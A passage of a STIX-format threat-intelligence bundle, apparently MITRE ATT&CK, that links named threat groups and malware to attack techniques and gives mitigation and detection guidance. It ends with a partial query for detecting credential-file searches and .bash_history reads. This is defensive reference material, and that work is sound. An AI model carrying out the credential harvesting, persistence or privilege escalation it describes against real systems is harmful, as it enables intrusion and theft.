2020)\n","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dfeef37f-a2da-4e85-addb-2bace5fd2de5","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \"0\" indicates LLMNR is disabled.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dff6f183-3444-474b-8d8a-1eb05e15a986","type":"relationship","created":"2020-03-13T11:12:18.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T19:20:23.155Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dff84383-c4c5-4974-a33d-9e43526abf49","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.878Z","description":"(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dff93811-e9f1-430e-95d3-344a067b2e23","type":"relationship","created":"2020-08-07T20:02:10.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.244Z","description":"[Dacls](https://attack.mitre.org/software/S0497) has had its payload named with a dot prefix to make it hidden from view in the Finder application.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0033e57-8839-42b9-8515-46e9c7dca966","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2019-07-17T13:11:37.770Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used CVE-2016-7255 to escalate privileges.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e012a6c2-93ea-4f85-9915-6adb85f806e4","created":"2022-03-30T14:26:51.852Z","x_mitre_version":"0.1","external_references":[{"source_name":"Adventures of a Keystroke","url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf","description":"Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls to SetWindowsHook, GetKeyState, and GetAsyncKeyState (Citation: Adventures of a Keystroke)","modified":"2022-04-20T13:04:10.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0140710-f03a-4e43-9e87-45926636b377","type":"relationship","created":"2021-08-12T15:13:02.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}],"modified":"2021-09-23T16:03:53.736Z","description":"[Babuk](https://attack.mitre.org/software/S0638) can enumerate disk volumes, get disk information, and query service status.(Citation: McAfee Babuk February 2021)","relationship_type":"uses","source_ref":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e01490ed-7252-41a7-b9ac-84b2892934d6","created":"2024-01-05T21:27:04.931Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-05T21:27:04.931Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can use a .NET HTTPListener class to receive and handle HTTP POST requests.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e014c5a8-f9bc-4de5-aa46-55765ac4461c","created":"2021-09-28T22:45:48.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Trickbot C2 infra Nov 2020","description":"Liviu Arsene, Radu Tudorica. (2020, November 23). TrickBot is Dead. Long Live TrickBot!. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/blog/labs/trickbot-is-dead-long-live-trickbot/"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.496Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has been known to reach a command and control server via one of nine proxy IP addresses. (Citation: Bitdefender Trickbot C2 infra Nov 2020) (Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e020ddbe-0d2f-4697-a533-d1ee59971cc0","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Endurant CMSTP July 2018","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.","url":"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:53:52.950Z","description":"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe\n* Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0292b89-50c2-4b62-8471-6a1b27dc7fc3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-20T13:25:54.929Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) gathers the local system time from the victim’s machine.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa","type":"relationship","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."}],"modified":"2022-02-22T15:46:45.499Z","description":"(Citation: Kaspersky Turla)(Citation: Secureworks IRON HUNTER Profile)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0301b36-c339-49c5-b257-9ece19152922","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}],"modified":"2019-09-04T22:55:41.135Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run ipconfig /all on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e039ba9f-a7d1-45a9-8ebc-d75fb31f4baa","created":"2024-07-14T20:08:48.399Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T20:08:48.399Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) maintains persistence following system checks through the Run key in the registry.(Citation: Zscaler Pikabot 2023)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2021-02-09T15:04:49.224Z","description":"Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1218/010) to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e041070a-ff38-47ee-aebd-8d1bc714231e","type":"relationship","created":"2021-02-22T20:10:49.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Waterbear December 2019","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."}],"modified":"2021-04-24T20:33:05.441Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) can scramble functions not to be executed again with random values.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0495ed2-62d6-4fd7-9c9b-e57d3c99fd9a","type":"relationship","created":"2022-03-24T22:31:32.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.763Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate processes, including properties to determine if they have the Common Language Runtime (CLR) loaded.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e04dd3e5-9883-4f0a-bf05-b20af89c88f3","created":"2021-07-26T15:09:24.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.435Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can delete old binaries on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e04e9e57-90e8-44f7-8596-0fc5365360e1","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e053cb07-3e4d-41a1-85a6-38cd2ac0e6ea","type":"relationship","created":"2019-04-17T13:23:24.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-20T23:00:53.773Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used AES for encryption of command and control traffic.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e0566454-eca2-4623-9366-87827c0d3f1b","created":"2022-06-09T21:23:00.863Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can collect the username from a compromised host.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T21:23:00.863Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e05db24d-57e8-40e9-a412-819ac5592ed8","created":"2024-06-10T17:39:33.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:40:14.821Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has downloaded tools to compromised servers including Advanced IP Scanner. (Citation: Huntress INC Ransom Group August 2023)(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e062ec0b-3be4-42c6-8dba-7a8a8270bbd9","created":"2024-02-12T19:47:58.826Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:47:58.826Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has cleared the command history on targeted ESXi servers.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e068332d-0b1c-4aba-a60f-37c640e20d10","type":"relationship","created":"2020-08-12T17:52:48.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Symantec Dragonfly Sept 2017","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T19:20:55.829Z","description":"(Citation: Secureworks IRON LIBERTY July 2019)(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e06dcec4-ccdb-4d49-a98c-62a6b0ba14ad","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:29:33.694Z","description":"Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nAnalytic 1 - Multiple file reads in a short period or searching for credential material.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*password*\" OR ObjectName=\"*credential*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject=\"*password*\" OR 